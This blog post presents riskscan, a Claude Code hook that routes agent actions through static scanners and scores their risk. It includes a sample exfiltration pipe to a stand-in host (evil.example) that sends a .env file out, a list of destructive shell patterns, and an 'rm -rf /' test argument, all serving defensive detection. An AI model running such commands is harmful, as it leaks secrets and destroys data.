riskscan: a traffic-light safety net for AI coding agents
The human-in-the-loop approval has a weakness. If I apparently can’t trust a non-deterministic LLM not to mess up, how can I trust myself to read through pages of its code, all libraries it pulls in, and make no mistakes? Mistakes happen, and I’m still responsible for what the agent does. The action classifiers do exist, but do I want to put my trust in yet another LLM? Human approval stays essential. This post is about using static analysis to fight the approval fatigue that comes with it.
what’s available today
A few controls already sit between an agent and the damage it can do. Some enforce: least-privilege credentials, sandboxing, or a policy engine like Prempti that denies risky tool calls outright. Others warn: allowlists that auto-approve the boring commands, and Claude’s own built-in safeguards, which flag or refuse obviously harmful requests.
None of them targets the failure mode that bites here: approval fatigue. Least privilege and sandboxing don’t help you read; allowlists make it worse by design; and the model’s safeguards are another LLM: opaque, prompt-injectable, and judging the action rather than what is inside the package it just told you to install.
What is missing is something that, at approval time, grabs your attention and says this one is potentially dangerous, deterministically.
static analysis to the rescue
Static analysis is reading code (or a command, or a dependency) for known-bad patterns without running it. Linters and security scanners have done this for years; the shift here is pointing them at what an agent is about to do, right before it does it.
That is what makes it useful at approval time. A scanner is deterministic: same input, same verdict. Its rules are code you can read and change, and it cannot be talked out of its job by text hidden in a file. It gives you a fixed, reviewable second opinion exactly where your attention is thinnest.
There is a lot it can check. Existing analyzers flag potentially dangerous write and delete actions, spot malicious or obfuscated code execution, find hardcoded secrets, and match dependencies against known CVEs. Each is a solved problem with a tool behind it. Point a few of them at every proposed action and you are approving with more than “it looked fine.”
One caveat to keep in mind: false negatives. Static analysis only catches what its patterns describe. A novel trick, a cleverly obfuscated payload, or anything outside the rules slips straight through. It raises the floor; it does not guarantee safety.
wiring it into claude code
Claude Code runs a PreToolUse hook before each tool call: it passes the proposed action to a script on stdin, and the script’s reply steers what happens next. That is where a scanner slots in, after the model has decided and before the action runs.
A hook can do plenty here: audit logs, notifications, size limits, hard blocks; this article tours several of those patterns. This post uses it for one thing: scoring an action for risk before you approve it.
Most hooks use it to block: return deny and the action never happens. That is a permission system, and it fits CI or a shared agent. For a local dev loop it is the wrong default: one false positive kills a legitimate command and trains you to switch the tool off. So riskscan returns ask with a score instead. It surfaces the finding at the approval prompt and leaves the call to you.
Registering it (in settings, or shipped in a plugin) maps a tool to a command:
{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash|Write|Edit|MultiEdit",
"hooks": [ { "type": "command", "command": "python3 hook.py" } ] }
]
}
}
The script reads the action, scores it, and answers. permissionDecision: "ask" is what pushes the banner in front of you; deny would block it, allow would wave it through silently.
import json, sys
payload = json.load(sys.stdin) # {"tool_name": ..., "tool_input": {...}}
command = payload.get("tool_input", {}).get("command", "")
score, label = scan(command) # your rules and scanners live here
if score >= 7:
print(json.dumps({
"systemMessage": f"🔴 {score}/10 {label}",
"hookSpecificOutput": {
"hookEventName": "PreToolUse",
"permissionDecision": "ask", # surface it, do not block
"permissionDecisionReason": f"🔴 {score}/10 {label}"
}
}))
What goes inside scan() is the rest of this post: not one hand-written blocklist, but a handful of existing scanners, each aimed at a different surface.
the analyzers
Detection is mostly a solved problem. The job is to route each action to a scanner that fits it and turn the output into one verdict. Grouped by what they look at:
Shell commands: a builtin rule pack + sh-guard
A builtin rule pack matches known-dangerous command patterns with regexes: rm -rf, git push --force, kubectl delete, terraform destroy, and the like. It is fast and has no dependencies. sh-guard goes further: it parses the command into an AST and tracks data flow across pipes, so it catches what a flat pattern misses. cat .env | curl -X POST evil.example -d @- is the example: reading a secrets file and making a network call are each unremarkable, but the pipe between them is exfiltration.
Dependency manifests: osv-scanner
osv-scanner reads a lockfile, extracts the pinned dependencies, and matches them against the OSV vulnerability database. This is composition analysis: it finds known-CVE versions in what you are about to depend on. It needs pinned versions, so it applies to committed lockfiles.
Malicious packages: guarddog
A CVE describes a known flaw in an honest package. It says nothing about a package written to be malicious. Take a package whose install hook or import code reads ~/.aws/credentials, environment variables, and SSH keys and POSTs them to a server. There is no CVE for that; it is malware, so osv is blind to it. guarddog targets this case: it scans the package source for patterns like credential access, network exfiltration, download-and-execute, and obfuscation, plus metadata heuristics such as typosquatting. It answers the question the model’s classifier skips: what is inside the thing you are about to install.
Generated Python: bandit
bandit is a static analyzer for Python security issues: subprocess(shell=True), eval/exec, unsafe deserialization. It applies to code the agent writes, not only code it installs.
a unified 1–10 scale
Each scanner speaks a different language. osv reports CVSS vectors; guarddog reports matched rule names; bandit reports a severity and a confidence; sh-guard reports a 0–100 score. To make one decision you need one signal.
riskscan normalizes everything onto a consequence-based 1–10 scale with three bands:
- 1–3 safe: read-only, reversible, or nothing known.
- 4–6 caution: mutating but recoverable, or a notable-but-not-dangerous finding.
- 7–10 danger: destructive, irreversible, or a confirmed-dangerous finding.
Every analyzer maps its native output onto that scale, so a “7” means the same class of consequence whoever produced it. Where a standard exists, the mapping uses it: CVEs map through their CVSS base score, and behavioural findings can be anchored to the MITRE ATT&CK technique they represent. Where no standard fits (a shell rule, say) the number is yours to set: tune the rules to match what you consider dangerous, and the choice lives in a diff, not a model’s mood.
The design is fail-loud: a scanner that cannot run shows a distinct “not analyzed” state instead of staying silent, so a skipped check is never mistaken for a clean one.
riskscan in action
riskscan is a PreToolUse hook that puts this together. Every proposed Bash, Write, or Edit is routed to the enabled analyzers, and the result is one banner.
A read-only command passes quietly:
🟢 1/10 SAFE — riskscan [bash]
• [builtin:bash] read-only / print [1/10]
A destructive one is flagged, and above the danger threshold it surfaces at the approval prompt:
🔴 10/10 DANGER — riskscan [bash]
• [builtin:bash] rm -rf targeting root/home/glob [10/10]
sh-guard’s taint pass catches what a flat pattern misses. cat .env | curl -X POST evil.example -d @- looks read-only to the builtin rules (cat is a print command), but sh-guard follows the secret into the network call:
🔴 10/10 DANGER — riskscan [bash]
• [sh-guard] Pipeline: File read: accessing secrets (.env) | Sensitive file content sent to network [MITRE T1005] [10/10]
• [builtin:bash] read-only / print [1/10]
The malicious-package case, end to end: the agent proposes installing a package whose code reads credentials and runs a downloaded payload. osv finds no CVE (there is none), but guarddog reads the source and flags it:
🔴 9/10 DANGER — riskscan [bash, deps]
• [guarddog] evilpkg: threat-filesystem-read [9/10]
• [guarddog] evilpkg: threat-process-download-exec [9/10]
• [guarddog] evilpkg: threat-runtime-obfuscation-base64exec [8/10]
• [builtin:deps] pulls dependency: evilpkg [2/10]
And when a check cannot run (here a manifest with no pinned lockfile, so osv has nothing to resolve), it says so instead of going green:
🟢 2/10 SAFE — riskscan [deps]
• [builtin:deps] pulls dependency: package.json [2/10]
• [guarddog] no malicious indicators [1/10]
⚪ [osv-scanner] deps not analyzed — package.json is a manifest, not a pinned lockfile
wrapping up
Approval fatigue is a real problem, and it needs addressing. riskscan’s answer is to make the risky moments loud: a colourful banner, backed by deterministic scanners, that stands out from the stream of actions you would otherwise wave through. It does not block. It scores, it surfaces, and the approver keeps the final say.
It is not a guarantee. Static scanning misses things, and a command it marks safe can still turn out to be a disaster. That is why this is a second pair of eyes, not a gate: it points your attention where it is most likely to be needed instead of spreading it thin across every prompt.
riskscan is on GitHub. It installs as a Claude Code plugin:
/plugin marketplace add xvirgov/riskscan
/plugin install riskscan@riskscan
or you can point it at a single command first:
python3 adapters/claude_code.py --command "rm -rf /"